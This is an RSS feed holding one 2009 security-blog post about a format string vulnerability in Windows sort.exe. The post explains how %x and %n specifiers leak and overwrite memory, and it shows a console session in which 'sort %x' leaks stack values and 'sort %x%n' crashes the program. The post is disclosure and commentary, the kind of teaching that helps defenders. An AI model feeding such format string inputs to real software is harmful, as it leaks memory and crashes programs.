<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Angels of security &#187; sort.exe</title>
	<atom:link href="http://angelsofsecurity.com/blog/tag/sortexe/feed/" rel="self" type="application/rss+xml" />
	<link>http://angelsofsecurity.com/blog</link>
	<description>Musings of an infosec renegade</description>
	<lastBuildDate>Tue, 02 Aug 2011 19:01:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Format string attacks in Windows and sort.exe</title>
		<link>http://angelsofsecurity.com/blog/2009/01/26/format-string-attacks-in-windows-and-sortexe/</link>
		<comments>http://angelsofsecurity.com/blog/2009/01/26/format-string-attacks-in-windows-and-sortexe/#comments</comments>
		<pubDate>Mon, 26 Jan 2009 15:39:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[application security]]></category>
		<category><![CDATA[format string attacks]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[sort.exe]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://angelsofsecurity.com/blog/2009/01/26/format-string-attacks-in-windows-and-sortexe/</guid>
		<description><![CDATA[Well that was a long and unexpected blogging break. It started because I wanted to write a long and detailed post about the last BGP exploit when I realized how little most security people knew about BGP. Unfortunately I never had time, a bunch of other things demanded my attention, (like real life), and then [...]]]></description>
			<content:encoded><![CDATA[<p>Well that was a long and unexpected blogging break. It started because I wanted to write a long and detailed post about the last BGP exploit when I realized how little most security people knew about BGP. Unfortunately I never had time, a bunch of other things demanded my attention, (like real life), and then once I got out of the habit of blogging, it was too easy to just ignore it. I&#8217;m back though, and I&#8217;ll try to blog regularly, albeit perhaps at a slower rate if real life persists in being as time consuming as its been lately.</p>
<p>Since this blog is coming back from a long hiatus, I think perhaps it&#8217;s appropriate to do so by bringing back an old vulnerability from a long hiatus as well. <a href="http://en.wikipedia.org/wiki/Format_string_vulnerabilities">Format String Vulnerabilities</a> have been around since around 1999. The short explanation is that when a C program doesn&#8217;t use format specifiers (you know, all those %s things you learned about way back when), but rather just prints a buffer directly, an attacker could put in format specifiers (like %x and %n). %x will just print the next hex number on the stack, so an attacker can view the stack. %n is more insidious &#8211; it is used to count the number of characters printed so far and copy that number into an arbitrary memory array. An attacker can use this to overwrite a given memory location (like, say, a return pointer) and execute arbitrary code.</p>
<p>In August of 2004 it was revealed that Windows&#8217; <a href="http://marc.info/?l=vuln-dev&#038;m=109871994406659&#038;w=2">sort.exe had a format string vulnerability</a>. Like most people, I assumed that since the fix for this is trivial (just use a format specifier instead of printing the buffer directly), Microsoft would have fixed it in the next patch release or service pack. Lo and behold, they haven&#8217;t. This is a copy and paste from the command shell of my Windows XP machine.</p>
<blockquote><p> Microsoft Windows XP [Version 5.1.2600]<br />
(C) Copyright 1985-2001 Microsoft Corp.</p>
<p>C:\&gt;ver</p>
<p>Microsoft Windows XP [Version 5.1.2600]</p>
<p>C:\&gt;sort %x<br />
7c812f39The system cannot find the file specified.</p>
<p>C:\&gt;sort %x%x<br />
7c812f390The system cannot find the file specified.</p>
<p>C:\&gt;sort %x%x%x<br />
7c812f3900The system cannot find the file specified.</p>
<p>C:\&gt;sort %x%x%x%x<br />
7c812f390078257825The system cannot find the file specified.</p>
<p>C:\&gt;sort %x%x%x%x%x<br />
7c812f39007825782578257825The system cannot find the file specified.</p>
<p>C:\&gt;sort %x%n</p>
<p>(sort.exe crashes as I&#8217;ve tried to write data to some random place in memory)</p>
<p>Everyone knows that Microsoft has a reputation for not fixing vulnerabilities unless forced to, but this is bad even by their standards. 4+ years and they haven&#8217;t fixed a know format string vulnerability.</p>
]]></content:encoded>
			<wfw:commentRss>http://angelsofsecurity.com/blog/2009/01/26/format-string-attacks-in-windows-and-sortexe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

